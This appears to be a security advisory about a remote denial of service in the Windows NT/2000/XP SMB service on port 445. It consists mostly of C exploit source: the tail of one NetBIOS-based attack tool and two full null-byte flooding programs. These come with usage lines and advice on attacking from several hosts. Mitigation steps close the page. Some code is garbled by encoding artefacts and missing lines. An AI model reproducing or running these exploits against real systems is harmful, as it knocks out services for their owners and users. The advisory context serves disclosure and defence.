	      netbios_ssn_port = atoi (optarg);
	    case 't':
	      udp_timeout = atoi (optarg);
	    case 'T':
	      tcp_timeout = atoi (optarg);
	    case 'h':
	      showhelp = 1;
	  if (optind < argc)
	    hostname = argv[optind++];
	  if (showhelp || hostname == NULL)
	    printf ("Usage: %s [options] hostname/ip...\n", argv[0]);
	      (" -N [netbios-name] Netbios Name (default: ask the remote
	      (" -n [packets] Number of crafted packets to send (default: %d)\n",
	      (" -p [netbios-ns port] UDP Port to query (default: %d)\n",
	      (" -P [netbios-ssn port] TCP Port to query (default: %d)\n",
	      (" -t [udp-timeout] Timeout to wait for receive on UDP ports
	(default: %d)\n",
	      (" -T [tcp-timeout] Timeout to wait for receive on TCP ports
	(default: %d\n",
	    printf ("\n");
	    printf ("Known vulnerable systems: \n");
	    printf (" - Windows NT 4.0 Workstation/Server\n");
	    printf (" - Windows 2000 Professional/Advanced Server\n");
	    printf (" - Windows XP Professional/Home edition\n\n");
	    exit (1);
	  if (!name
	    && (name =
	    list_netbios_names (buffer, sizeof (buffer), hostname,
	    netbios_ns_port, udp_timeout)) == NULL)
	    exit (1);
	    name = extract_name (name);
	  printf ("Using netbios name: %s\n", name);
	  printf ("Connecting to remote host (%s:%d)...\n", hostname,
	  fd = tcp_connect (hostname, netbios_ssn_port);
	  if (fd
	 Update (06 January 2002)
	/* Code by ch0wn */
	 *  O Soft Utiliza a falha do Microsoft-ds, 
	 * que quando recebe 10k de NULL trava, dando 
	 * blue screen. =)
	 * Nao me responsabilizo por uso indevido.
	 * ch0wn  <[email protected]>
	 * iplogd <[email protected]>
	 * >> 03/01/2003
	 * msg = pt_BR 
	 * Esse prog foi feito com TCP, 
	 * caso queira que seja UDP , apenas modifique o 
	 * para SOCK_DGRAM.
	 * msg = us_US
	 * This soft (or exploit ? :)  ) 
	 * was done with TCP, and if you wanna use UDP, just change 
	 * by SOCK_DGRAM.
	 * Modo de utilização:
	 * descompacte o arquivo
	 * tar -xzvf crashMs-rc2.tar.gz
	 * cd crashMs-rc2/
	 * make all
	 * Execute:
	 * ./crashMs-rc2 <vitima> <porta> <numero vezes>
	#include <stdio.h>
	#include <string.h>
	#include <unistd.h>
	#include <sys/socket.h>
	#include <sys/types.h>
	#include <netdb.h>
	#include <netinet/in.h>
	#include <sys/signal.h>
	#include <stdlib.h>
	#define		VERSAO	"rc2"
	#define		PORTA	"445"
	int main(int argc, char *argv[], char *pacote, int porta, int vezes) {
	   int sock, conexao, comeco = 1;
	   struct sockaddr_in remoto;
	   struct hostent *he;
	void autors() { 
		printf("C0d3rz By:\n");
		printf("\tch0wn  <[email protected]>\n");
		printf("\tiplogd <[email protected]>\n");
	void usage() {
		printf("Error. Modo de usar: \n");
		printf(" $ %s <vitima> <porta> <numero vezes>\n\n", argv[0]);
		printf("Porta padrao do ms-ds : (%s)\n",PORTA);
	if(argc != 4) {
	   he = gethostbyname(argv[1]);
	   if(he < 0) { 
	      printf("\n Erro. Host desconhecido.\n");
	      vezes = atoi(argv[3]);
	      for(comeco=1;comeco<=vezes;comeco++) {
	         porta = atoi(argv[2]);
	         remoto.sin_family = AF_INET;
	         remoto.sin_port = htons(porta);
	         remoto.sin_addr = *((struct in_addr *)he->h_addr);
	/*Aqui eh a parte. Caso queira usar UDP, troque na linha abaixo o SOCK_TREAM por SOCK_DGRAM */
	/*If you wanna use UDP protocol, change at next line SOCK_STREAM by SOCK_DRAM */
	         sock = socket(AF_INET, SOCK_STREAM, 0);
	         if( sock < 0) {
	            printf("\n Erro com os sockets. \n");
	         conexao = connect(sock, (struct sockaddr *) &remoto, sizeof remoto);
	         if( conexao < 0) {
	            printf("\n Erro ao conectar...Saindo...\n");
		 pacote = malloc(10*1024 *sizeof(char));
		 printf("\nTentando enviar...\n");
	         send(sock, pacote, 10*1024,0);
	         if( send < 0) {
	            printf("\nErro ao enviar pacotes...\n");
	         printf("\nMandou %d vezes", comeco);
	   printf("Provavelmente ocorreu (blue screen), ou travou.\n\n");
	 Update (21 January 2003)
	* 	Microsoft Windows 2000 Remote DoS 		*
	*	---------------------------------		*
	*							*
	* Hello :)						*
	* This is an DoS exploit that utilizes the flaw found 	*
	* by KPMG Denmark, to crasch or hang any Win2k box 	*
	* running the LanMan server on port 445 (ms-ds).  	*
	* What it does is just a simple 10k NULL string		*
	* bombardment of port 445 TCP or UDP.			*
	*							*
	*			                                *
	* By: Daniel Nystrom <[email protected]>		*
	* Download: www.telhack.tk / exce.darktech.org		*
	*							*
	* Suggestions: When performing the attack, use UDP if 	*
	*	       you are attacking from a single host. 	*
	*	       TCP only eats about 35% CPU on an AMD	*
	*	       Athlon XP 1800+ while UDP eats 99%.      *
	*	       So if TCP is the only option, use more   *
	*	       than one attacking host. All in all this *
	*              DoS is "pretty weak" and should be used  *
	*              from more than one host in each attack   *
	*              to get the best result.                  *
	*							*
	* Compiles on: Linux (Debian 2.2r6 and RH 7.3 tested).  *
	*              Should compile on other *nix's as well.  *
	*							*
	* Thanks: Peter Grundl, for answering my Q's :)         *
	*							*
	* greets: xenogen, ifa-, zeromatic, RTJ, [email protected]    *
	*							*
	#include <stdio.h>
	#include <sys/socket.h>
	#include <arpa/inet.h>
	#include <string.h>
	#include <unistd.h>
	#include <netdb.h>
	#include <errno.h>
	#define MICROSOFT_DS_PORT 445
	unsigned long resolveTarget(char nstarget[]);
	int main(int argc, char *argv[])
	        int sock;
		int count;
		struct sockaddr_in target;
		unsigned short port =3D MICROSOFT_DS_PORT;
		char *nullbuffer;
		printf("%c[41m", 0x1B);
		fprintf(stdout, "\n--[ excE's Remote Microsoft Windows 2000 DoS =
		printf("%c[0m", 0x1B);
		fprintf(stdout, =
	        if(argc !=3D 4)
	                fprintf(stderr, "--[ Invalid number of parameters!\n");
	                fprintf(stderr, "--[ Usage: %s <Server IP> <TCP/UDP> =
	<Send Count>\n", argv[0]);
	                fprintf(stderr, "--[ Forex: %s UDP 10000\n\n", =
		nullbuffer =3D (char *) malloc(10*1024*sizeof(char));
		fprintf(stdout, "--[ Starting attack on %s...\n", argv[1]);
		memset(&target, 0, sizeof(target));
		target.sin_family 	=3D AF_INET;
		target.sin_addr.s_addr 	=3D resolveTarget(argv[1]);
		target.sin_port		=3D htons(port);
		if(argv[2][0] =3D=3D 'U')
			if((sock =3D socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
				perror("socket() failed ");
			fprintf(stdout, "--[ Sending NULL byte string * %d via UDP\n", =
			    if(sendto(sock, nullbuffer, strlen(nullbuffer), 0, (struct =
	sockaddr *) &target, sizeof(target)) !=3D strlen(nullbuffer))
					perror("sendto() failed ");
			    } else { printf("."); }=20
		 else if(argv[2][0] =3D=3D 'T')
			fprintf(stdout, "--[ Connecting and sending NULL byte string * =
	%d...\n", atoi(argv[3]));
			if((sock =3D socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
				perror("socket() failed ");
			if(connect(sock, (struct sockaddr *) &target, sizeof(target)) < 0)
				perror("connect() failed ");
				if(send(sock, nullbuffer, strlen(nullbuffer), 0) !=3D =
					perror("send() failed ");
				} else { printf("."); }
		} else
			fprintf(stderr, "--[ Error: You must define a protocol (TCP or =
		fprintf(stdout, "--[ Finished flooding target!\n");
		fprintf(stdout, "--[ http://www.telhack.tk\n");
		return 0;
	unsigned long resolveTarget(char nstarget[])
		struct hostent *targetname;
		if((targetname=3Dgethostbyname(nstarget)) =3D=3D NULL)
			fprintf(stderr, "--[ Name lookup failed. Please enter a valid IP or =
		return *((unsigned long *) targetname->h_addr_list[0]);
		Microsoft has released a fix to the problem.
		- Disable anonymous access (NULL connections)
		This will not prevent legitimate users from abusing the vulnerability.
		- Block access to the SMB ports from untrusted networks.
		Blocking access to ports tcp/445 and tcp/139 at  the  network  perimeter
		will prevent attacks from untrusted parties.  However,  this  is  not  a
		viable solution for environment were  file  and  printing  services  are
		needed for legitimate users.
		- Shutdown the Lanman server (net stop lanmanserver)
		This prevents exploitation from any attacker but removes  all  file  and
		print sharing functionality from the vulnerable server. It might not  be
		a viable solution in many environments.
		 Update (04 September 2002)
		You will have to disable port 445 altogether :
		Port 445 - This is a highly debated area  by  Microsoft  themselves  and
		many      others      It's      uses      are      discussed       here:
		Method 1: Steps in Windows 2000 Professional, SP2: (Please  read  others
		below before proceeding as this one may prevent
		DHCP from functioning correctly which most Cable ISPs require  and  some
		Other ISPs too)
		 1.  Open Computer Management
		 2.  Click on Device Manager
		 3.  Select View:  Show Hidden Devices
		 4.  Click on Non-Plug and Play Drivers
		 5.  Open Properties for NetBIOS over TCPIP
		 6.  Click on Disable
		 7.  Reboot per prompt
		If you do not disable the TCP/IP NetBIOS  Helper  Service  at  the  same
		time an error will be logged to the system event log.
		You can Disable this service  in  Administrative  Tools  -  Services  if
		desired as detailed below.
		Alternate Procedure: The following information  was  developed,  tested,
		and supplied by T-1 ([email protected])
		Go to :
		 Value Name: TransportBindName
		 Data: \device\
		Either Rename TransportBindName  to  something  like  TransportBindNameX
		(Easier to change back later) Or Delete \device\. Then Reboot.
		The Registry tweak is more flexible because the NetBT driver is  allowed